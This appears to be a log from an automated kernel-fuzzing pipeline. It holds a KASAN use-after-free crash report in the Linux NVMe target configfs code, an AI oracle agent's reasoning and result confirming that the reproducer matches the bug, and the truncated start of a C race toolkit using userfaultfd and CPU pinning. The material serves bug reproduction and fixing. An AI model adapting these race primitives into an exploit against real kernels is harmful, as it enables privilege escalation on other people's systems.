[   69.573276][   T32] audit: type=1400 audit(1787769237.324:204): avc:  denied  { siginh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.670837][ T1374] ieee802154 phy0 wpan0: encryption failed: -22
[   71.675473][ T1374] ieee802154 phy1 wpan1: encryption failed: -22
[   72.410299][   T32] audit: type=1400 audit(1787769240.184:205): avc:  denied  { write } for  pid=5827 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.454577][   T32] audit: type=1400 audit(1787769240.224:206): avc:  denied  { write } for  pid=5830 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.564435][   T32] audit: type=1400 audit(1787769240.334:207): avc:  denied  { write } for  pid=5833 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.605419][   T32] audit: type=1400 audit(1787769240.374:208): avc:  denied  { write } for  pid=5836 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:47690' (ED25519) to the list of known hosts.
[   73.297618][   T32] audit: type=1400 audit(1787769241.064:209): avc:  denied  { write } for  pid=5847 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   73.314600][   T32] audit: type=1400 audit(1787769241.084:210): avc:  denied  { mounton } for  pid=5846 comm="syz-executor991" path="/sys/kernel/config" dev="configfs" ino=1085 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[+] Created subsys1 successfully.
[   73.380013][ T5855] ==================================================================
[   73.382579][ T5855] BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0
[   73.385289][ T5855] Read of size 8 at addr ffff8881987a64c8 by task syz-executor991/5855
[   73.389237][ T5855] 
[   73.390028][ T5855] CPU: 0 UID: 0 PID: 5855 Comm: syz-executor991 Not tainted syzkaller #1 PREEMPT(full) 
[   73.390041][ T5855] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   73.390047][ T5855] Call Trace:
[   73.390051][ T5855]  <TASK>
[   73.390055][ T5855]  dump_stack_lvl+0xe8/0x150
[   73.390069][ T5855]  print_address_description+0x55/0x1e0
[   73.390081][ T5855]  ? nvmet_port_subsys_allow_link+0x41/0x2e0
[   73.390093][ T5855]  print_report+0x58/0x70
[   73.390103][ T5855]  kasan_report+0x117/0x150
[   73.390114][ T5855]  ? nvmet_port_subsys_allow_link+0x41/0x2e0
[   73.390126][ T5855]  nvmet_port_subsys_allow_link+0x41/0x2e0
[   73.390138][ T5855]  configfs_symlink+0x59a/0x1030
[   73.390152][ T5855]  ? __pfx_configfs_symlink+0x10/0x10
[   73.390164][ T5855]  ? bpf_lsm_inode_symlink+0x9/0x20
[   73.390173][ T5855]  vfs_symlink+0x18b/0x330
[   73.390182][ T5855]  ? security_path_symlink+0xfd/0x360
[   73.390195][ T5855]  filename_symlinkat+0x1cd/0x410
[   73.390205][ T5855]  ? __pfx_filename_symlinkat+0x10/0x10
[   73.390214][ T5855]  ? do_getname+0x151/0x250
[   73.390224][ T5855]  __se_sys_symlinkat+0x4e/0x2b0
[   73.390233][ T5855]  do_syscall_64+0x166/0x520
[   73.390245][ T5855]  ? trace_irq_disable+0x3b/0x140
[   73.390254][ T5855]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.390262][ T5855]  ? clear_bhb_loop+0x70/0xc0
[   73.390271][ T5855]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.390279][ T5855] RIP: 0033:0x7f91233b0459
[   73.390287][ T5855] Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d0 ff ff ff f7 d8 64 89 01 48
[   73.390294][ T5855] RSP: 002b:00007f91213771f8 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
[   73.390303][ T5855] RAX: ffffffffffffffda RBX: 00007f912341d028 RCX: 00007f91233b0459
[   73.390309][ T5855] RDX: 00007f912341d028 RSI: 00000000ffffff9c RDI: 00007f912341d060
[   73.390314][ T5855] RBP: 00007f912341d060 R08: 00007f91213776c0 R09: 00007f91213776c0
[   73.390319][ T5855] R10: 00007f91213776c0 R11: 0000000000000246 R12: ffffffffffffffd0
[   73.390325][ T5855] R13: 0000000000000010 R14: 00007ffd84d38b60 R15: 00007ffd84d38c48
[   73.390333][ T5855]  </TASK>
[   73.390336][ T5855] 
[   73.455865][ T5855] Allocated by task 5852:
[   73.457216][ T5855]  kasan_save_track+0x3e/0x80
[   73.458703][ T5855]  __kasan_kmalloc+0x93/0xb0
[   73.460137][ T5855]  __kmalloc_cache_noprof+0x331/0x660
[   73.461802][ T5855]  nvmet_ports_make+0xe6/0xf00
[   73.463312][ T5855]  configfs_mkdir+0x4f6/0x9e0
[   73.464782][ T5855]  vfs_mkdir+0x40c/0x620
[   73.466100][ T5855]  filename_mkdirat+0x285/0x510
[   73.467635][ T5855]  __se_sys_mkdir+0x34/0x150
[   73.469073][ T5855]  do_syscall_64+0x166/0x520
[   73.470540][ T5855]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.472355][ T5855] 
[   73.473118][ T5855] Freed by task 5854:
[   73.474359][ T5855]  kasan_save_track+0x3e/0x80
[   73.475822][ T5855]  kasan_save_free_info+0x40/0x50
[   73.477380][ T5855]  __kasan_slab_free+0x5c/0x80
[   73.478882][ T5855]  kfree+0x1c5/0x640
[   73.480103][ T5855]  config_item_release+0x13a/0x2d0
[   73.481709][ T5855]  configfs_rmdir+0x885/0x950
[   73.483186][ T5855]  vfs_rmdir+0x3e6/0x6a0
[   73.484511][ T5855]  filename_rmdir+0x292/0x520
[   73.485967][ T5855]  __se_sys_rmdir+0x2e/0x140
[   73.487400][ T5855]  do_syscall_64+0x166/0x520
[   73.488858][ T5855]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.490687][ T5855] 
[   73.491448][ T5855] The buggy address belongs to the object at ffff8881987a6000
[   73.491448][ T5855]  which belongs to the cache kmalloc-4k of size 4096
[   73.495732][ T5855] The buggy address is located 1224 bytes inside of
[   73.495732][ T5855]  freed 4096-byte region [ffff8881987a6000, ffff8881987a7000)
[   73.499941][ T5855] 
[   73.500706][ T5855] The buggy address belongs to the physical page:
[   73.502711][ T5855] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1987a0
[   73.505455][ T5855] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[   73.508058][ T5855] flags: 0x57ff00000000040(head|node=1|zone=2|lastcpupid=0x7ff)
[   73.510399][ T5855] page_type: f5(slab)
[   73.511659][ T5855] raw: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
[   73.514309][ T5855] raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
[   73.516948][ T5855] head: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
[   73.519625][ T5855] head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
[   73.522266][ T5855] head: 057ff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
[   73.524946][ T5855] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
[   73.527601][ T5855] page dumped because: kasan: bad access detected
[   73.529585][ T5855] page_owner tracks the page as allocated
[   73.531330][ T5855] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 16197662015
[   73.537015][ T5855]  post_alloc_hook+0x1f9/0x250
[   73.538537][ T5855]  get_page_from_freelist+0x2209/0x2280
[   73.540245][ T5855]  __alloc_frozen_pages_noprof+0x217/0x5a0
[   73.542051][ T5855]  allocate_slab+0x7c/0x5e0
[   73.543489][ T5855]  refill_objects+0x2d5/0x350
[   73.544952][ T5855]  __pcs_replace_empty_main+0x2c3/0x6b0
[   73.546678][ T5855]  __kmalloc_cache_noprof+0x3ab/0x660
[   73.548338][ T5855]  kobject_uevent_env+0x289/0x9e0
[   73.549919][ T5855]  kernel_add_sysfs_param+0xb1/0xe0
[   73.551541][ T5855]  param_sysfs_builtin+0x199/0x250
[   73.553141][ T5855]  param_sysfs_builtin_init+0x23/0x30
[   73.554848][ T5855]  do_one_initcall+0x250/0x870
[   73.556354][ T5855]  do_initcall_level+0x10a/0x1a0
[   73.557897][ T5855]  do_initcalls+0x59/0xa0
[   73.559252][ T5855]  kernel_init_freeable+0x29d/0x3e0
[   73.560872][ T5855]  kernel_init+0x22/0x1d0
[   73.562234][ T5855] page last free pid 10 tgid 10 ts 15528039329 stack trace:
[   73.564501][ T5855]  free_pages_prepare+0x9b2/0xa90
[   73.566070][ T5855]  __free_contig_range_common+0x174/0x340
[   73.567850][ T5855]  free_pages_bulk+0x48/0x120
[   73.569334][ T5855]  vfree+0x226/0x4a0
[   73.570587][ T5855]  delayed_vfree_work+0x55/0x80
[   73.572102][ T5855]  process_scheduled_works+0xc3d/0x1630
[   73.573876][ T5855]  worker_thread+0x92d/0xe10
[   73.575325][ T5855]  kthread+0x38b/0x480
[   73.576612][ T5855]  ret_from_fork+0x514/0xb70
[   73.578056][ T5855]  ret_from_fork_asm+0x1a/0x30
[   73.579582][ T5855] 
[   73.580330][ T5855] Memory state around the buggy address:
[   73.582064][ T5855]  ffff8881987a6380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.584549][ T5855]  ffff8881987a6400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.587011][ T5855] >ffff8881987a6480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.589469][ T5855]                                               ^
[   73.591444][ T5855]  ffff8881987a6500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.593919][ T5855]  ffff8881987a6580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.596369][ T5855] ==================================================================
[   73.616968][ T5851] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000022: 0000 [#1] SMP KASAN NOPTI
[   73.620720][ T5851] KASAN: null-ptr-deref in range [0x0000000000000110-0x0000000000000117]
[   73.623316][ T5851] CPU: 1 UID: 0 PID: 5851 Comm: syz-executor991 Not tainted syzkaller #1 PREEMPT(full) 
[   73.626267][ T5851] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   73.629375][ T5851] RIP: 0010:nvmet_port_subsys_allow_link+0x102/0x2e0
[   73.631439][ T5851] Code: 89 6c 24 10 49 89 1c 24 48 c7 c7 00 84 93 8f e8 64 be 5a 05 48 89 6c 24 08 48 81 c5 10 01 00 00 49 89 ec 4c 89 e0 48 c1 e8 03 <42> 80 3c 38 00 74 08 4c 89 e7 e8 7f 9e cc fb 4d 8b 24 24 49 39 ec
[   73.637343][ T5851] RSP: 0018:ffffc900032efc30 EFLAGS: 00010206
[   73.639243][ T5851] RAX: 0000000000000022 RBX: ffff888196dc2000 RCX: ffffffff9aa21501
[   73.641679][ T5851] RDX: 0000000000000001 RSI: 0000000000000008 RDI: 00000000ffffffff
[   73.644165][ T5851] RBP: 0000000000000110 R08: ffffffff8f93840f R09: 1ffffffff1f27081
[   73.646622][ T5851] R10: dffffc0000000000 R11: fffffbfff1f27082 R12: 0000000000000110
[   73.649050][ T5851] R13: ffff888190bb2800 R14: ffff888196dc2190 R15: dffffc0000000000
[   73.651491][ T5851] FS:  00007f912337b6c0(0000) GS:ffff8882e8492000(0000) knlGS:0000000000000000
[   73.654209][ T5851] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   73.656239][ T5851] CR2: 00007fcd9cf4f4e8 CR3: 00000001fd38b000 CR4: 0000000000352ef0
[   73.658713][ T5851] Call Trace:
[   73.659769][ T5851]  <TASK>
[   73.660700][ T5851]  configfs_symlink+0x59a/0x1030
[   73.662241][ T5851]  ? __pfx_configfs_symlink+0x10/0x10
[   73.663923][ T5851]  ? bpf_lsm_inode_symlink+0x9/0x20
[   73.665537][ T5851]  vfs_symlink+0x18b/0x330
[   73.666918][ T5851]  ? security_path_symlink+0xfd/0x360
[   73.668594][ T5851]  filename_symlinkat+0x1cd/0x410
[   73.670151][ T5851]  ? __pfx_filename_symlinkat+0x10/0x10
[   73.671860][ T5851]  ? do_getname+0x151/0x250
[   73.673303][ T5851]  __se_sys_symlinkat+0x4e/0x2b0
[   73.674861][ T5851]  do_syscall_64+0x166/0x520
[   73.676308][ T5851]  ? trace_irq_disable+0x3b/0x140
[   73.677875][ T5851]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.679764][ T5851]  ? clear_bhb_loop+0x70/0xc0
[   73.681244][ T5851]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   73.683073][ T5851] RIP: 0033:0x7f91233b0459
[   73.684495][ T5851] Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d0 ff ff ff f7 d8 64 89 01 48
[   73.690351][ T5851] RSP: 002b:00007f912337b1f8 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
[   73.692937][ T5851] RAX: ffffffffffffffda RBX: 00007f912341d028 RCX: 00007f91233b0459
[   73.695369][ T5851] RDX: 00007f912341d028 RSI: 00000000ffffff9c RDI: 00007f912341d060
[   73.697819][ T5851] RBP: 00007f912341d060 R08: 00007f912337b6c0 R09: 00007f912337b6c0
[   73.700268][ T5851] R10: 00007f912337b6c0 R11: 0000000000000246 R12: ffffffffffffffd0
[   73.701719][ T5855] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[   73.705640][ T5855] Kernel Offset: disabled
[   73.706987][ T5855] Rebooting in 86400 seconds..

Strace Output: 
Crash Report: ==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff8881987a64c8 by task syz-executor991/5855

CPU: 0 UID: 0 PID: 5855 Comm: syz-executor991 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x410 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f91233b0459
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f91213771f8 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007f912341d028 RCX: 00007f91233b0459
RDX: 00007f912341d028 RSI: 00000000ffffff9c RDI: 00007f912341d060
RBP: 00007f912341d060 R08: 00007f91213776c0 R09: 00007f91213776c0
R10: 00007f91213776c0 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000010 R14: 00007ffd84d38b60 R15: 00007ffd84d38c48
 </TASK>

Allocated by task 5852:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x331/0x660 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x40c/0x620 fs/namei.c:5410
 filename_mkdirat+0x285/0x510 fs/namei.c:5443
 __do_sys_mkdir fs/namei.c:5470 [inline]
 __se_sys_mkdir+0x34/0x150 fs/namei.c:5467
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 5854:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x640 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e6/0x6a0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_rmdir fs/namei.c:5595 [inline]
 __se_sys_rmdir+0x2e/0x140 fs/namei.c:5592
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff8881987a6000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff8881987a6000, ffff8881987a7000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1987a0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x57ff00000000040(head|node=1|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 057ff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 16197662015
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2209/0x2280 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x217/0x5a0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x2c3/0x6b0 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __kmalloc_cache_noprof+0x3ab/0x660 mm/slub.c:5480
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 kobject_uevent_env+0x289/0x9e0 lib/kobject_uevent.c:543
 kernel_add_sysfs_param+0xb1/0xe0 kernel/params.c:803
 param_sysfs_builtin+0x199/0x250 kernel/params.c:838
 param_sysfs_builtin_init+0x23/0x30 kernel/params.c:974
 do_one_initcall+0x250/0x870 init/main.c:1353
 do_initcall_level+0x10a/0x1a0 init/main.c:1415
 do_initcalls+0x59/0xa0 init/main.c:1431
 kernel_init_freeable+0x29d/0x3e0 init/main.c:1666
 kernel_init+0x22/0x1d0 init/main.c:1556
page last free pid 10 tgid 10 ts 15528039329 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 free_pages_prepare+0x9b2/0xa90 mm/page_alloc.c:1463
 __free_contig_range_common+0x174/0x340 mm/page_alloc.c:7060
 __free_contig_range mm/page_alloc.c:7105 [inline]
 free_pages_bulk+0x48/0x120 mm/page_alloc.c:5322
 vm_area_free_pages mm/vmalloc.c:3462 [inline]
 vfree+0x226/0x4a0 mm/vmalloc.c:3511
 delayed_vfree_work+0x55/0x80 mm/vmalloc.c:3415
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0x92d/0xe10 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffff8881987a6380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff8881987a6400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff8881987a6480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff8881987a6500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff8881987a6580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================



265/4 2026/08/26 18:34 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 20482
							output: 74
							thoughts: 671
						

Thoughts:
**My Thought Process on Analyzing the KASAN Slab-Use-After-Free Bug**

Alright, let's break down what I'm seeing here regarding this kernel bug. The core of the issue, as reported by KASAN, is a `slab-use-after-free` defect specifically within the `nvmet_port_subsys_allow_link` function, located in `drivers/nvme/target/configfs.c`. I can see this pattern in two separate crash reports, and critically, the stack traces and the memory addresses involved in the read operation are identical. This strongly suggests we're dealing with the same underlying problem.

The fact that the reproducer *successfully* triggered this bug is a significant development. It means we're not just theorizing about the bug; we have a concrete way to make it happen. This directly informs my next step: confirming the match between the observed bug and what we were expecting.

I've reviewed the console output, and indeed, it mirrors the KASAN report: a `BUG: KASAN: slab-use-after-free` occurring in `nvmet_port_subsys_allow_link` with a specific read size at a particular memory address. This confirms for me, without a doubt, that the reproducer is working as intended and has reliably triggered the bug.

Given this confirmation, my course of action is clear: I need to report these findings. This means I'll be using the `set-results` command. The parameters I'll be setting are crucial for conveying the success of this analysis.

First, `TitleMatches` needs to be set to `true`. The bug reports and the observed behavior are an exact match, so this flag accurately reflects that.

Next, I'll provide a concise `Feedback` message that summarizes this success: "The reproducer successfully triggered the expected KASAN slab-use-after-free in nvmet_port_subsys_allow_link." This lets anyone reviewing the results know immediately that the reproducer is valid for this specific bug.

Now, about `ProbePassed`. The prompt defines this as `True if the executed program was a minimal capability probe and all checks succeeded, false otherwise`. Since the program I executed was a *full reproducer* designed to trigger the target bug, not a minimal capability probe, `ProbePassed` should be set to `false`. This distinction is important; it tells us that the program wasn't just testing basic functionality but was actively aiming to expose the specific defect.

Finally, `TerminalError` will be set to an empty string `""` because, while a bug was found, the process of reproducing it and identifying it was successful from an analysis perspective, and no *unexpected* terminal error occurred during the reproduction itself that would prevent reporting.

So, to recap, the plan is to execute `set-results` with:
*   `ProbePassed: false` (because it was a full reproducer, not a minimal probe)
*   `TitleMatches: true` (because the observed bug perfectly matches the target)
*   `TerminalError: ""` (no unexpected terminal errors during the reproduction)
*   `Feedback: "The reproducer successfully triggered the expected KASAN slab-use-after-free in nvmet_port_subsys_allow_link."`


266/4 2026/08/26 18:34 tool set-results
0m Args:
map[Feedback:The reproducer successfully triggered the expected KASAN slab-use-after-free in nvmet_port_subsys_allow_link. The crash signature and stack trace match the original bug description exactly. ProbePassed:false TerminalError: TitleMatches:true]

Results:
map[Feedback:The reproducer successfully triggered the expected KASAN slab-use-after-free in nvmet_port_subsys_allow_link. The crash signature and stack trace match the original bug description exactly. ProbePassed:false TerminalError: TitleMatches:true]

267/3 2026/08/26 18:34 action loop-controller
0m Results:
map[CapabilitiesVerified:true ContinueSignal: EquivalenceAnalysis:The reproducer successfully triggered the expected KASAN slab-use-after-free in nvmet_port_subsys_allow_link. The crash signature and stack trace match the original bug description exactly. OracleFeedback:The reproducer successfully triggered the expected KASAN slab-use-after-free in nvmet_port_subsys_allow_link. The crash signature and stack trace match the original bug description exactly. ReproC:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
